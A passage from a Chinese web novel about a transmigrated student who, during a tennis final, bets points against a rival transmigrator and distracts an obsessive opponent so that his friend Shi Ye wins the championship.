又叫人把现做的点心全端过来,还掰了厨房师傅舍不得用的大茶饼,把温绒招呼得极好。 这一系列对待让温绒受宠若惊,而且这排场,猜都不用猜,他家东西必定价格不菲,趁着店员出去,拉时野悄悄说:“这边看起来就很贵,我应该消费不起。” 时野摆摆手,扬起嘴角,一副等夸的骄傲表情,“不用担心,我特地挑了个不需要你花钱的地方。” “我不需要你帮我付钱。” “万一老板不要你的钱呢?” “啊?” 温绒有些郁闷,老板不要自己的钱说明时野私下偷偷给自己付钱了,这两种说法根本没区别。 他已经开始想要买什么礼物给时野了,突然响起温柔的敲门声。 咔擦—— 进来一位长相和善的中年女人,打扮也是优雅的,宽松的旗袍,长发盘子,插一根木钗子。 温绒肃然起敬,连忙站起打招呼,“您好。” 中年女人微微笑,“我叫锦程带你来家里吃饭他一直不带,今天运气倒好,我在店里,你也赶巧过来。” 为什么要带自己来吃饭? 温绒愣了下,迅速从“锦程”两个字里得到这个女人跟张锦程学长关系匪浅的信息,下意识微微弯腰,“您您您您好。” 时野悄悄凑近他,“张锦程他妈。” 温绒浑身一激灵,顿时局促,再次打招呼,“阿姨您您您好。” 时野看他这紧张样儿,忍不住笑,可笑着笑着,嘴角便多了几分苦涩。 看温绒这紧张的样子,他都开始幻想温绒见到自己妈妈时会是什么样了。 张妈妈亲切地伸手拉温绒,“真是个漂亮孩子,想做身什么样的衣服?什么时候要?” 温绒一五一十答了,张妈妈蹙眉片刻,“时间有些紧,阿姨以后给你做套新的,这次用成衣直接改可不可以。” 温绒连忙道谢,趁着张妈妈去拿量尺寸的工具时给张锦程发消息。 贸然来张锦程学长家店里见他妈妈,温绒多少觉得有些怪异。 张锦程很快回复:[量完尺寸早点回去,否则你会被她烦死。] “…………” 啊? 再三确认张锦程是真不在意后,温绒稍稍放下心来。 事后如张锦程学长所料,张妈妈回来,一边拉着温绒量尺寸一边絮叨,“怎么这么瘦”“这里没有肉,肯定没好好吃饭”…… 温绒没觉得烦,反倒开心,这样的关心让他有种妈妈跟自己说话的感觉。 转个身时,温绒看到时野坐在沙发边望着自己,张妈妈说一串数字给旁边助理听,他也往手机里输入一串数字。 他在记我的尺寸吗? 本来觉得奇怪,可是这样顺着张妈妈的动作转身,频频看见时野的笑容很浓,眼睛里的情绪更浓,竟然不自在起来。 再转个身,温绒稳了稳心绪,忍不住开口:“时野。” “嗯?”时野哼声应他。 温绒视线偏移不敢跟他对视,“外面有没有什么好吃的?我饿了。” 这么说完,正好看见桌子上放着店员特地送上来的好几盘糕点,意识到自己这话像是对店里的吃食不满意,慌张扯个店里没有的东西道,“我想喝咖啡。” “你等着。” 时野好骗,把手机一收就出去了,丝毫没发现温绒的目的。 开着门,忘了关。 休息室内短暂轻松起来,张妈妈笑道,“现在再测你这个腰围,都要宽一厘米。” 温绒知道自己刚才太紧张一直提着气,张妈妈是在打趣自己,有些尴尬地笑笑,继续听着吩咐抬手。 “他出去也好,直勾勾盯着你,一点都不礼貌。” 温绒含糊应着。 “锦程在学校里有好好照顾你吗?他那个孩子不爱说话,有些时候态度还不好,你别生他气。” “没有的,学长对我很好。” “他能认识你真是太幸运了,现在谁都到我这里来找他定衣服,以前大家都不知道他手艺有多好,在他爸爸那边也……” 温绒知道这是个禁忌话题,连忙接口:“是学长比较厉害。” “他哪有你厉害……你这腿真长,裤子得跟外套用不同的号。” …… “这腿真长,裤子得跟外套用不同的号。” 王斯辰刚走到门外,就听到这么一道声音。 恭维意味过于明显,吸引他往门里面瞧,想看看是哪位大人物恰好也来了这边。 在看清里面人四肢修长,完完全全担得上腿长这个说法时,王斯辰成熟的外壳骤然剥落,震了又震,惊露出毛头小子的痴态来。 几步之隔的镜子映出雪白的脸,五官清俊,眼眸在灯光下呈着玻璃一样的质感。 这样一个人,听着老板的安排乖巧抬手转身,像个乖孩子。 王斯辰真真心动,平生第一次对一个人产生“迷幻”一般的生理反应,好像再看看他,随时都会高兴得晕眩过去。 秘书发现他的异常,也跟着望休息室里瞧,看见温绒的一刻,心里有了数,乖乖站定不说话。 一行人就这么诡异地站在走廊上,不发出一点声音。 直到某一刻,量完尺寸的两人跟门外觊觎的目光对上,浅浅的眸子露出几分诧异。 王斯辰站直了,下意识露出讨好的笑容。 空气静默两秒,里面的人伸手将老板拉到身上,全然戒备的姿态。 王斯辰心头正热,浑然不觉这些细小反应,还主动进门打招呼:“小同学,又遇见了,好巧。” 温绒冷漠点一下头,“您好。” “来订衣服?” 温绒反问:“您也来订衣服?” 王斯辰的视线暧昧打量片刻,笑道,“想来是缘分了,我缺套衣服,你也缺套衣服。张老板,以后这位小同学在你家订的东西全记我账上。” 温绒谢绝,“谢谢您的好意,不过我可以自己付钱。” 张妈妈见多识广,知道这是圈子里最喜欢的做派,谁谁谁买的东西记我账上,跟包养小情人似的。 于是说:“温绒是自家人,在家订衣服不用花费。” “自家人啊……”王斯辰低声念叨片刻,突然目光炯炯望向温绒:“会量尺寸吗?你来给我量。” 张妈妈:“不好意思,温绒——” 王斯辰神色骤变,冷不伶仃打断,“他不是你家人吗?” 是家里人,又不是店员,没有帮着店里干活的道理。 可王斯辰开始解开西装扣子,那架势就是要让温绒去帮忙量尺寸的。 温绒明白,这是在死缠烂打。 这次不需要周谢站在旁边实时解释,他都感觉到其中肮脏的爱意,仿佛回到几个月前,看到匿名论坛里那些下流言论。 王斯辰除了身份和年纪,实际跟赵泽阳没有任何区别。 更让温绒觉得可笑的是,王斯辰一个位高权重的议员,厚脸皮到了极致,他在校庆时那么残忍地对待张锦程学长,现在竟然还敢来张锦程学长家店里颐指气使。 温绒深呼吸,正努力想着怎样才能不影响张妈妈的情况下拒绝,一串脚步声在走廊上响起。 随即,时野端着杯咖啡进门,“量完尺寸了吗?” 张妈妈如释重负,“差不多了。” “隔壁的咖啡还不错。”时野仰头喝一口咖啡,自然递给温绒,“你尝尝。” 温绒顿了下,伸手接过。 “尝尝。” “哦哦。” 温绒小口尝一尝,没有品出什么特别的味道,转头一望,看见王斯辰面色铁青,阴沉沉地瞪着时野。 “我来的路上看到一家年糕店,走,带你去试试。” 时野不给王斯辰任何眼神,伸手拉他。 温绒犹豫片刻,担忧张妈妈处理不好王斯辰,可转念一想王斯辰是为了自己才找事的,自己要是留下可能会添更多乱,于是跟着时野往楼下走。 走到门口,时野就开口:“下次遇见王斯辰转头就走,别跟他说话。” “嗯嗯。” 温绒应着,忍不住问:“是不是有很多人跟他一样……跟赵泽阳一样,对我有那种不正常的想法。” 时野气愤回头,“谁跟你说的?” “……” “没有的事,别听他们乱说。” 温绒叹了口气,“从小到大没多少人教我,有很多事情我都不知道,如果你还把我当朋友,你该告诉我的,我只有知道了这种情况才能想办法保护自己。” 时野脸上表情微变,大概仔细思考了下,最后妥协,“我知道了,这次对不起,下次有什么情况我第一时间告诉你。” “嗯。” 由于时野还有训练任务,两人吃完年糕直接回了庄园。 这一晚,温绒静不下心来,已经到了平时睡觉的时间点,却迟迟无法入睡,一闭上眼睛总会想起王斯辰站在门外的画面。 这样的画面时不时又变成赵泽阳,又变成王艾伦……像是几部电影不停切换,他在混乱中越陷越深,几乎要把自己当做一块谁都想咬的肉。 直到听见手机传来一声震动。 张锦程:[我妈说你的衣服改好了,明天去店里试试合不合身。] 温绒给张锦程道谢,正巧新闻消息从手机上方弹出。 《周总统将缺席网球公开赛决赛,由周总统家公子暂代开球仪式。》 原来周谢这段时间是在忙着帮他父亲处理工作。 他好像已经完全在准备着跟王斯辰争总统位置。 这么想想,自己以后说不定还能跟别人说,我和总统认识,还认识网球公开赛的冠军,还…… “哥哥。” 温绒在黑暗中呼唤系统。 【怎么了。】 “我以前说,想变得跟时野他们一样优秀,可是我到现在还没有成就。” 【宿主在校庆上很成功呀。】 “但那应该不算我的成绩。” 说罢,温绒举起手,抓着虚空中不存在的东西,“我才发现,自己手里抓住的东西并不多,而且我好像……” 【好像怎么?】 “在某些方面总是很被动。” 察觉不到自己即将遇见的危机,好像一直都在解决别人带给自己的困难。这样一个一个地来,解决不完,烦恼不断。 在床上辗转反侧将近一个小时,温绒确认自己睡不着,起身穿好衣服,决定去看看时野指给自己看的玉兰花。 一走近,碰巧看见网球场亮着灯,猜测时野还在训练,索性继续往里走。 啪啪啪 还没走到门口,就听见里面有人说话,还伴随着不停歇的抽球声。 温绒意识到现在有很多人陪着时野在忙,自己过去说不定就打扰到他们了,于是停下脚步,干脆坐在路边,静静听着抽球啪啪声。 风暖暖的,吹来几朵玉兰花- 眼皮闪来一片橙色的亮光,温绒动了动眼皮,耳边听见声音。 六四七七五四九三九 “醒了?” 他瞬间睁开眼,慌张站起环顾四周,发现自己还在昨晚坐下的位置,顿时惶恐摸手机。 好像知道他要做什么,那声音又说:“才五点,还早。” 温绒回头看见时野,抬手拍拍脸,“我是不是在地上睡着了。” “没有。” “没有吗?” 时野拍拍右边肩膀,“你只是靠在我身上睡了一晚上而已。” 还不如在地上睡了。 温绒心虚看向别处,“那个……不好意思啊。” “你得庆幸在我的地盘上睡着了,要是在外面,万一被心怀不轨的人看到,把你捡走怎么办,到时候他们说不定会对你做下流的事情。” 温绒想到昨天给时野提的要求,道谢,“谢谢你提醒我。” 为了表示自己的诚心,补充道,“回来我给你带礼物。” 时野眼睛亮起来,“你打算给我带什么礼物?” “秘密。” 实际上温绒自己也没想好。 总之,下班后四处看看有什么好吃的,给时野带一份吧。 不过温绒还是小看了决赛前一天的忙碌程度。 从早上到公司开始彩排,一直到中午吃饭时才有闲暇喝口水,但也没休息多久,立马又开始第二轮彩排,这样结束时已经是晚上七点。 温绒去了一趟张锦程学长家店,试衣服,改衣服,一番折腾,回到庄园已经晚上九点,他下车时两手空空,才想起答应好给时野带礼物。 要怎么解释呢。 要不等他夺冠再一起送? 温绒想着,无意中看见黑夜中闪烁红□□光,一辆白色的面包车从身边驶过,车身用红色条纹勾勒出典型的标识——救护车。 他心中升起不祥的预感,脚下步子不自觉加快,追上去,跑了几分钟,正正看见时野走上车。 时野也看见了他,从车上跳下来,往他这边走,“你回来了?” “你怎么了?怎么叫救护车。” “去医院一趟而已。”时野抬手挥了挥,“今天很忙吧,我听说你们在彩排,你都站了一天,早点回去睡觉。” 说完,整个人一愣,好像忘记了痛,又激动说:“你直接跑过来了,你担心我吗?” “我看到救护车了,当然担心你。” 时野惊喜,还没开始笑,几个白大褂从车里跳出来连忙拉他,劝着“少爷,你的手……” 时野:“手不要紧。” 温绒这才去看时野的手。 这几天持续不断地训练,他的皮肤被太阳晒得更黑了些,浮着一层薄汗,肌肉呈现特别的质感。 在光裸的手臂上,套着一个莹蓝的东西。 可能是什么高科技护手。 “你快去医院吧,不要耽误了病情。” 时野想说点什么,一旁的王西杰终于忍不住扯着时野小声说了句话,时野只得遗憾道,“那你好好吃饭早点休息。” “嗯。” 时野当天晚上没有回来,莱昂学长也没有。 温绒这次闭上眼睛再也想不到王斯辰赵泽阳这些人了,红蓝闪烁的灯在眼皮上晃,晃得心脏砰砰砰直跳。 他睡不着,也不敢再乱跑出去,只能坐起来强迫自己背公司准备的稿子,又假装自己正采访时野,扣着视频里的每一个细节,最后把自己折腾到疲惫,到头入睡- 第二天正是万众期待的网球公开赛决赛,场馆外两公里就开始布满安保,禁止普通车辆通行。 温绒乘坐公司安排的车,透过车窗看见许多跟时野穿着同款运动服的人挤在人行道上,人山人海,肩膀靠着肩膀,要是谁公司在这附近,必定是要上班迟到的。 砰砰砰 场馆外窜起一排彩色烟花,尖叫声中,响起著名歌手的声音,约莫一个小时后,周谢开球,赵泽阳跟时野的比赛就会开始。 温绒在后台看见墙上张贴时野的宣传海报。 可能是剪了板寸,五官更显锋利,就显示出骨相的优越来,下巴轻扬时,有几份少年的无羁。 但时野昨晚去了医院,远不如照片里看起来这样轻松。 早上出门时就没看见时野,不知道他的手怎么样了。 “你觉得谁会赢。” 突然响起的声音吓温绒一跳,很陌生,以至于他回头看见说话的人时,一时间没有反应过来是谁。 林竞航歪一下头,“不认识我了?” “……” “你在看时野的海报,你喜欢他?” “……” “看眼神像喜欢。” 林竞航自问自答,还举起两只手勾着指向眼睛,“我看得出来。” 哦—— 自从温绒想明白后谈恋爱和责任之间的关系后,对喜欢不喜欢这种事已经看得很清楚,没有因为林竞航的话起情绪波动,反问:“你怎么在这里。” 林竞航耸耸肩,“王家真少爷的身份太好使,现在我想去哪去哪,就算去比赛场上也有人给我安排。” “王艾伦呢?” “又不是亲生的有没有用,被王家抛弃了呗,现在应该在外城区过苦日子。” “……” 虽然王艾伦算不上个好人,但温绒因为个人成长的关系,对强行把别人从亲生父母身边剥离开还是有些不适。 他强忍着表情,不表现出来。 索性林竞航很多时候只是想说话,并不在乎听众怎么想,继续说着他在王家过的舒服日子。 比如王艾伦父母如何宠他,王艾伦以前的朋友如何巴结他,赵泽阳带他去体验超豪华的富二代生活…… 讲着讲着,忽然问:“赵泽阳说你在学校的时候曾经动手打过他,你怎么打的?用积分换的?我看你这样不像是打得动他。” 碍于林竞航也是穿书的,温绒点头承认。 “你不知道吧?积分不止可以兑换东西,还可以改变剧情。” 温绒微微偏头看他,“改变什么剧情?” “就书里的剧情啊……哦,忘记你是炮灰了,你不知道主剧情。” 林竞航下巴点点时野的海报,“剧情里设定这场比赛时野会赢,但我可以用积分兑换让时野输。” “让他输——” “不过直接让他输没意思,所以我设置了一点难度。” 温绒想起林竞航说的F2言论,他又跟赵泽阳在一块儿,帮赵泽阳理所当然。 但如果时野输了……温绒不敢想时野要是输了会是什么样的局面。 “你看到他手上的蓝光了吗?我用积分弄了一下他的手。” 温绒大惊:“那东西是你弄的!?” “我以为他会放弃比赛呢,没想到他打竟然封闭了。这个时代的科技果然比我想象中要更厉害。”林竞航笑意更深,“不过这样也很有意思,等会儿比赛开始我用积分弄一下他的膝盖,看看他在绝望里怎么挣扎。” 温绒对这种行为生出一丝反感,“为什么要让他输?” “你不觉得他这种被设定为主角的天龙人很恶心吗?出生就是高贵的身份,随随便便就拿到世界第一。” “……” 虽然时野有很多缺点,但温绒看到时野每天都有努力训练,应该不叫“随随便便”。 “哦,忘了你喜欢他,你肯定偏向他的。” 温绒:“……” 林竞航略略靠近他,“如果你求我的话,我可以高抬贵手。” 温绒惊讶,“为什么要我求你?” “看在都是穿书者的份上,我愿意给你个面子。” “如果时野在这里,你是不是也要让他求你。” 林竞航哑然,而后勾唇一笑,已经用表情回答。 温绒试想时野听到林竞航的这些话,肯定会不屑地说“我赢给你看”。 那自己呢,自己会怎么说。 温绒略一想,说:“我明白了,你找我说这么多,其实只是在像欺负时野一样欺负我,看我在绝望里挣扎。” 林竞航笑,“我自己都不知道我想这样,我只是看在你跟我都是穿书者的份上偶尔发一下善心。” “我求你你就会放过时野?” “当然。” “没有其他条件吗?” “那还是有的。” 这是个我行我素、心里没数、阴险的疯子。 他有点像疯癫版周谢。 ——可是他可以改变剧情。 ——他有很多积分。 温绒隐隐抓住什么东西。 “哥哥,积分可以交易吗?”他问系统。 既然林竞航可以用积分肆意改变书里的剧情,那是不是可以拿来给自己改变必死的结局。 要尝试一下,不能再继续处于被动状态。 【可以。】 “光是求没意思,你要跟我打个赌吗?”温绒斟酌后开口问林竞航。 林竞航仿佛来了兴致,“什么赌?” “你说时野会输,我赌他赢。” “我已经改变剧情了,他肯定会输。”林竞航歪一下脑袋,“你知道赵泽阳一直在让我想办法弄到你吗?如果你跟我打赌,就要去陪赵泽阳过美妙的夜晚了。” “虽然我不喜欢你这种不尊重人的说法,但既然打赌,我愿赌服输。” “哦?你这么想跟我赌,有什么目的?” “我需要积分,你输了给我积分。” 林竞航玩世不恭的脸上终于露出一点警惕,“你要我的积分干嘛?” “我只要11点。” “才11点。” “对,我还差11点积分才能活下去,我想要11点积分。” 林竞航噗嗤一笑,又开始得意,“听出来了,你真的很需要这点积分。” 温绒看他的表情,随即答:“是的,我很需要。” “不过我没必要跟你赌,因为时野肯定会输。” “那你就不能帮赵泽阳搞到我了,而且你其实很想这么做对不对,刚刚你让我求你高抬贵手的条件就是这个。” “……” “……” 沉默之际,林竞航眯起眼睛。 综合各方面来看,打这个赌简直百利无一害。 才11点积分,洒洒水而已,根本撼动不了他的几万积分。更何况让时野输的剧情已经改了,温绒肯定不会赢。 林竞航承认自己很心动,一方面解决了赵泽阳一直在耳边叨叨叨的事情,另一方面,他很喜欢看着别人在必输的局面苦苦挣扎,那是他日复一日枯燥生活里唯一的乐子。 “可以打这个赌。” “但你需要博取我的信任。”温绒又说。 “我?” “对。” “你不信我,为什么要跟我打赌。” “因为你是我遇见的唯一一个穿书者,我看过情色交易,没看过积分交易。” 有理有据得林竞航竟然一时无法反驳。 他沉默几秒,说:“积分没办法交易,但我可以兑换东西给你用。” “如果要活下去必须要30积分换神秘大礼,你答应给我11点积分,到时候是不是可以说积分不足无法兑换?” 林竞航惊讶于温绒的敏锐,后又想到他刚才不信任自己这件事竟然是正确的,难免嗤笑,“你让我有一些刮目相看了。” “那赌注提高到30积分。” “那我的赌注也要改,你先陪我小叔叔,再去陪赵泽阳。” “这是个特别不尊重人的要求,不过为了30积分,我愿意打这个赌。”- 【宿主,剧情定了就不会更改,你怎么会答应他?】 【你知不知道自己吃亏了!】 静悄悄的走廊上,系统在温绒脑子里尖叫。 “怎么可能无法更改,我就因为偏离剧情以至于积分不够。” 【…………】 系统一细想,发现好像是这个道理。于是问:【你要怎么做?】 “我还在想。” 【现在还在想??】 【你怎么不先想想败了怎么办?】 “……” 【万一林竞航不守信用怎么办?】 温绒活动一下脖子,微微侧头,好像系统就站在身边跟自己说话似的,神色沉静,“哥哥,你记不记得林竞航在找一个人。” 【上次碰面的时候他是说了有这么一个人,但是他都不记得这个人什么样了。】 【你不会是想帮他找这个人吧?】 【找不到找不到,首先这个人不一定也绑定了系统,其次世界那么多,他那么多积分都找不到,你怎么可能找得到。】 “如果我就是他要找的人呢?” 【你?】 “我可以假扮那个人。” 【你要假扮那个人?!】 系统难以置信,自家宿主竟然会提出假扮别人心上人的做法? 这么坏! 这么…………聪明? “林竞航是个很不稳定的因素,现在看来他是站在王斯辰那一边的,算是我的敌人,以后说不定还要用积分来做很多对我不好的事。我不能等他行动,我要主动出击。” 【宿主,这是很有难度的事,我们现在完全不了解他要找的人。】 “他自己都不了解……而且他话很多,我想办法套一套信息,总能模仿出一个影子来。” 【你确定真的要假扮那个人?】 “对,我很确定。” “林竞航对那个人的执念很深,应该是特别喜欢特别喜欢的对象。如果我假扮成功,以后会有帮助的。” 【万一他发现怎么办?】 “林竞航很自大,我有80%的把握。” 系统细想,虽然有风险,但总体来说收益极高。随即道【这样也好,如果宿主假扮了那个人,他肯定舍不得让你去跟赵泽阳王斯辰做那种事。】 “那是以后的打算,现在……我先想想怎样才能让时野赢。” 温绒转身走进旁边卫生间,一粒一粒解开衬衫扣子,露出修长白皙的脖。 光影之间,喉结上下一滚。 随即镜子里清俊的脸勾唇一笑,并不自然,唇角抖动。 又莞尔一笑,与平时别无二致。 又缓慢眨眼,勾唇,清俊的五官在这一刻,释放出摄魂心魄的魔力。 他慢条斯理开口:“妈妈给了我最珍贵的礼物。” 第94章 第 94 章 你跟林竞航为什么都想睡…… 运动员休息室外, 来来往往许多人。 一队列采访的人员敲开赵泽阳的休息室大门,“您好,不知道赵泽阳现在方不方便进行赛前采访。” 赵泽阳拧开水杯喝口水, 皱起眉头问:“你们先去的时野那边?” 采访人员不知道赵泽阳对时野的芥蒂,诚实点头,“时野已经采访过了。” “滚——” 赵泽阳手里的杯子在空中甩出一道抛物线,砸在门上,砰地一声,水花四溅。 温绒进门被泼了满身,雪白的衣服上出现一片明显的灰色印记。 赵泽阳没预料到他会来, 愣了下,偏头不敢看门的方向,胡乱跟教练说:“你他妈乱扔什么, 赶紧给温绒道歉。” “不用。” 温绒摆手进门,脸上没有露出一丝不耐的情绪,仿佛刚才的事没有发生过。 世界上有很多漂亮的脸, 清雅温和的不在少数,但温绒身上还有完全不属于他这个年纪的沉静。 这是独一无二的奇妙感染力, 让每个靠近他的人都感到舒服,容易上瘾。 像小孩子沉迷游戏,成年人沉迷烟酒,完全是一种本能, 即使不看他,脑子里都冒着“想要”的念头。 赵泽阳相信,很多人都跟自己一样有这样感觉,特别是时野。 一想到此,赵泽阳便浑身颤栗。 那天温绒跟时野一起吃的饭, 还有莱昂。 他们的关系竟然变得那么好了? 赵泽阳深刻感受到,从弗罗里曼学院退学的这几个月,自己失去太多跟温绒亲近的机会。 “赵泽阳,现在可以继续做赛前采访了吗?” “……” “泽阳。” 感觉手肘被推,赵泽阳才回过神,急切地问温绒:“你在跟我说话吗?” “这里除了你要做赛前采访,还有其他人要做吗?” 工作人员接着温绒的话说:“嗯嗯嗯嗯,赵少爷您还要准备个采访,到时候赢了,我们会把这一段放在直播最后。” 赵泽阳目光死死盯着温绒,“你采访我吗?” 工作人员:“不好意思赵少爷,温绒是做赛后采访工作的。” “他人都在这里,为什么不能他来给我采访。” 赵泽阳想要温绒采访自己。 想跟他说话。 想听他说话。 离开弗罗里曼学院时,赵泽阳曾经痛苦过一段时间,甚至每天把自己反锁在房间里惶惶度日。 直到他父母要去找温绒的麻烦。 那一刻,赵泽阳爆发出前所未有的力量,吼他们,威胁他们,要是温绒少一根手指头,他就去死。 是的,要是温绒不在了,他也想死了。 赵泽阳那时才发现,从弗罗里曼学院退学的各种情绪里,唯独没有憎恨。 他一点都不恨温绒,甚至后悔离开学校,只能通过蓝书上的花边新闻得知温绒的消息。 随着温绒在蓝书上的消息越多,这种后悔的感觉就越多。 特别是校庆视频出来时,温绒那么耀眼,那么优秀,蓝书有他的大批粉丝,那些人痴迷温绒痴迷到发疯,赵泽阳被疯魔的气氛带着越陷越深。 不训练的时候,赵泽阳会把温绒的脸在电视机上放大再放大,忍不住亲吻屏幕。 冰凉扁平的触感始终无法令人满足,后来赵泽阳又找了跟温绒相似的人,让他们穿弗罗里曼学院的校服,剪温绒的发型,戴一样的眼镜……可是,没有一个能替代温绒,代替那种迷人上瘾的感觉。 所以赵泽阳重振旗鼓,决心往上爬,等爬到王斯辰那么高的位置,他就可以强行把温绒捆在身边。 此刻,心心念念的人就站在面前,从他面前走过……纤细的手指抽走几张卫生纸,擦去衣服上的水渍。 只是这样的动作,都令他浮想联翩,忍不住喉结一滚。 “你要是赢了,就轮到我给你采访。” 他在跟我说话! 赵泽阳激动道,“我肯定赢。” “那早一会儿采访和晚一会儿采访有什么区别。” “我就要——” 教练凑到他耳边小声道,“林竞航说你只要上场就能赢,别耽误了赛前采访。” 对,肯定能赢,等会儿温绒也是要给我采访的。 赵泽阳目光终于稍微从温绒身上挪开,应了工作人员的安排,坐在沙发边接受采访。 采访的内容无非是赛前宣言,过去一年为这次比赛做的准备……没什么有新意的东西。 赵泽阳本应该对答如流,但余光总是被一身白的温绒吸引。 温绒穿的这身衣服很趁他的气质,白的,布料带着珠光质感,走线剪裁都极好,完全贴合他的身材,腰比肩膀窄一截,折起的腿极长,小腿直立,膝盖比椅子高一截。 而且他坐姿端正,两只手轻轻放在膝盖上,神色认真,甚至都没发现自己赤!裸的视线。 这样会让赵泽阳觉得自己在亵渎。 可“亵渎”这件事,本就让人□□焚身。 由此,赵泽阳也莫名拘谨了起来,5分钟的采访变得尤其漫长。 温绒指尖敲着膝盖,赵泽阳的心跳跟着敲。 “好了,谢谢赵少爷的配合。” “我还有个问题。” 是温绒的声音。 赵泽阳:“什、什么?” “你喜欢什么颜色?” 赵泽阳心跳暂停一瞬,喜悦呼之欲出,“我——” “哎呀,不好意思,都忘记问这个问题了。赵少爷喜欢什么颜色?要是您夺冠的话,我们公司打算特地为您设计一款网球,颜色按照您的要求来。” 赵泽阳狠狠瞪工作人员一眼,“……” “赵少爷?” 赵泽阳不知道这家公司为什么安排这么不懂看眼色的人来做采访,怒火要起,余光看见温绒,欲念先呼出,暧昧地说:“黄色。” “谢谢赵少爷。” 工作人员采访完起身,赵泽阳看着温绒也准备起身,眼巴巴跟着站起来,着急问,“你们这就走了?” 工作人员一愣,“还需要什么吗?” 赵泽阳望着温绒,可是温绒完全熟视无睹,准备就要走。 等老子比完赛,就在赛后采访说温绒是老子男朋友,那么多人看着,温绒就算反驳也没人信。 赵泽阳这样下定决心。 然而——跟着工作人员朝外走的温绒骤然回头。 浅浅的眸子斜望过来,“赵泽阳,我有件事要跟你说。” 砰—— 心脏炸开。 赵泽阳嘴巴忍不住溢出笑声,虽然温绒表情冷漠还带着不耐烦。 他转头喊教练,“你出去。” “不用让他出去。” 赵泽阳再次重复:“出去。” “我跟林竞航打赌,你赢了,我就跟你睡。” 空气静默,惊雷当空劈下,赵泽阳立在原地。 不知道温绒什么时候走的,教练提醒该上场了,赵泽阳如梦初醒,大声道,“上床?” 教练:“上场,比赛!” 赵泽阳抖着手狠狠掐一把脸,“他说他会跟我上床,真的吗?” 如果说刚才温绒进来已经让赵泽阳处于心跳加速不由自主的状态,那现在就是彻底傻眼了,一切都不真实,大脑空白,脸上红得发烫。 他心心念念的,要跟他上床! 那个谁都替代不了,独一味二的人! “是——他说你赢了他会跟你上床。” 这种比赛前说“你赢了我就把初吻/初夜”给你的激励方式实在过于老套,教练可以说身经百战,完全已经习惯了。最多……他承认这次搞赛前激励的人长得确实很好看,自家少爷沉沦得理所应当。 赵泽阳吞咽唾液,“他真的会跟我上床?” “我作证!到时候你赢了我跟你一起去找他,现在先上场!” “他是不是第一次。” 温绒那月光似的长相,冰一样的眼睛,要是在床上,肯定是另外的样子,说不定会很热情,会害羞,或许会哭,哭得双眼通红,嗓子发出奶猫一样的哼声…… 太神秘了,神秘到无论如何遐想,都想象不出到底会是什么样。 唯一确定的是温绒特别白,说不定到时候通体都是粉色。 粉得烫人,一阵一阵热流贯彻全身,赵泽阳情难自禁,幻想此刻就把温绒摁他刚才坐过的沙发上。 赵泽阳想着想着,表情一凝,速干轻薄的运动裤上拱起一道显眼的弧。 “我去趟卫生间。” 教练扶额,“快,别耽误了上场。”- 温绒:[方便见一面吗,有事情想跟你商量。] 周谢收到消息的时候正要上场开球,迅速回了个:[开球结束见] 等开球结束,到后台来,就看见衣服湿了一大片的温绒。 周谢大概猜了下理由,垂下眼珠子,“要我给你找件衣服?” “要一件黄色的,偏荧光的,一眼就能看见的。” “这么多要求,你自己怎么不去找。” “我正在找你。” 周谢:“……” “我还要时野后面的座位,以及靠近赵泽阳场的中间座位,都要第一排。” 周谢脑子“嗡”的一下,“现在?” “嗯。” “你知道现在所有座位都坐满了吗。” “我想你办得到。” 周谢心中升起一股熟悉的感觉,提前开始头疼,“你又要干什么惊天动地的事情?” “色!诱赵泽阳。” 周谢:“……” 周谢:“色!诱谁?” “赵泽阳。” 温绒继续说:“我肯定会成功。因为赵泽阳在学校的时候就很想对我做下流的事,我刚才跟他说了,他要是赢,我就跟他上床。” “他刚才去了趟厕所,我敢肯定他已经心动了,比赛的时候我只要出现在他视线范围内,他就会被干扰到。” 周谢对温绒的“计划”感到意外,他的认知里,温绒应该是那种“实力不足也要堂堂正正输”的人。 比赛干扰这种事,怎么说呢……完全不像他的行事风格。 可是头很疼,周谢回想起自己频频被温绒摆一道的过往,又觉得这是温绒会做出来的事,当温绒的敌人就是总被猝不及防打一棍。 “你怎么确定他会看到你?” “他刚才说他喜欢黄色,荧光黄很扎眼,而且我坐时野背后肯定会出现在他视线范围,他一看到我换了身他喜欢的颜色,必定浮想联翩。” 顿了下,又说:“实在不行我对他笑,我学过微表情管理,我知道哪种表情是性!暗示。” “你可以?”周谢怀疑。 “你刚才对着镜子联系了下,感觉还不错,不过你可以帮我提一下意见。” 随即,温绒的眼皮子抬起来,嘴角以肉眼可见的缓慢速度勾起。 很正常的笑容,在歪一下脑袋后,浅浅的眸子汇聚光芒,包在一汪水里似的清澈透亮,又在泛起波光时逐渐朦胧。 反差极大的眼底,透露着“过来”的潜台词。 砰砰 周谢定了两秒。 温绒并没察觉,“怎么样?” “……” 温绒继续分享完美计划,“我敢保证这样笑完后他肯定会心态不稳一段时间。等快稳住的时候,你来拉我坐到靠近他半场的位置,那个位置一定要让赵泽阳的余光扫到,咱俩坐一块儿,他的注意力就永远会分一点给我们。” “怎么样?” “……” “你为什么一直不说话?” 周谢知道温绒肯定能成。 赛场上最忌讳分心,温绒的计划下足了功夫,抓住赵泽阳那点欲望又是暗示又是勾引,被拿捏得死死的。 只是…… “你觉得你干扰得到赵泽阳,干扰不到时野吗?” 在周谢看来,赵泽阳跟时野半斤八两,发现赵泽阳跟温绒在网球场上眉目传情,时野能当场疯掉。 “我坐在时野背后怎么干扰得到他?” “你不是还要中场换到赵泽阳附近吗?” “那时野看到的就是我跟你坐一块儿,他不会多想的。” “……万一他就是多想了怎么办?” “那时野不仅不了解我,也不配赢。” “……” “要不要合作?” 周谢:“我不合作的话,你要怎么办?” “我会让你失去时野跟莱昂学长。” 周谢一愣,“你威胁我?” “你不也在逗我吗?” “……” 周谢两颊动了动,侧个头,终于还是没忍住笑出声。 他没有发现自己在逗温绒。 温绒比他还早发现。 并且温绒还开起了玩笑。 “别发呆,时间紧迫。” 周谢哼笑,“那你该早点跟我说你的计划。” “我刚想的,只告诉了你。” 顿了下,又说,“希望你对时野保密,他应该无法接受这种胜利。” “……” “快啊!” 周谢收神,压了压嘴角,“虽然我不认为时野会输,但你的计划很合我胃口。” “给我十分钟,我来安排。” …… 砰! 天边绽放彩色的礼花。 现场一片沸腾,欢呼声,尖叫声几乎盖住主持人的宣告: “恭喜时野蝉联冠军!” “恭喜时野蝉联网球公开赛冠军!” “恭喜时野!” 完美执行计划的温绒在观众席几乎寸步难行,靠着周谢的开路才勉强走到赛后采访的位置。 温绒给搭档道歉,按理来说,他应该一直跟搭档站一块儿的。 搭档和蔼的摆手,“坐哪儿都一样,把领子理一下,马上要采访了。” 